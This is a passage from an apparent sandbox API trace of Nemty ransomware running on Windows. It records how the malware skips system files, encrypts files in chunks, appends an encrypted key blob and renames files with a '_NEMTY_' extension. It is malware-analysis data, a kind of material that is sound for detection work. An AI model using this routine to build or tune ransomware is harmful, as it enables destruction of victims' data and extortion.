(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_notes.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_notes.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_notes.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.519] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_trans_notes.wmv", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_trans_notes.wmv", lpUsedDefaultChar=0x0) returned 21 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0073.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0073.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0073.520] Sleep (dwMilliseconds=0x5) [0073.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf77f510, dwHighDateTime=0x1d561e7)) [0073.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf77f510, dwHighDateTime=0x1d561e7)) [0073.521] GetLastError () returned 0x5 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.521] GetLastError () returned 0x5 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.521] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.521] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0073.521] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="dgoV5uTwyVDl/OIrZiLbJyVa6yY+ul3Q4j1215Ph6gVn4hyCA1uGHsIv/AM+5u1J\r\n9pXaxnJGbgOa/seqT7B4skQbR/FBdp5lgMiBuUrKtTAcaf2aRRRqvNsi87hjGOqq\r\nlSi0j9wa86ZkTmZBUeOUl5Q2Mdbm2i2fNA8eCqXB0WHeT0crqVBsZOhYeF1hsQOd\r\nfM/ONqFgtuCHKdp3QsDMb4E6/0Qqx+4y9f4x7VCB0mT1fsKO5QyQkzpIH4B7Us+5\r\nqxXPRroBn5+DuOrSToFPCcEjCBfynEJCMNTECJJfdvxccbouDwHDDhgNKh1KbjrD\r\nNrpF0USzGvsvSLkWkDXlkg==\r\n", pcchString=0x653e91c) returned 1 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0073.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.521] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.522] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.628] CloseHandle (hObject=0xffffffff) returned 0 [0073.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0073.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0073.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.628] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv._nemty_kgobjgd_")) returned 0 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0073.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.629] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2=".") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="..") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="...") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="windows") returned -1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="rsa") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="ntldr") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="IO.SYS") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="boot.ini") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="boot.ini") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="ntuser.dat") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="desktop.ini") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="RECYCLER") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="bootmgr") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="programdata") returned 1 [0073.629] lstrcmpiW (lpString1="Title_Trans_Notes_PAL.wmv", lpString2="appdata") returned 1 [0073.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Notes_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0073.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Title_Trans_Notes_PAL.wmv", lpUsedDefaultChar=0x0) returned 25 [0073.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0073.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Title_Trans_Notes_PAL.wmv", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.630] 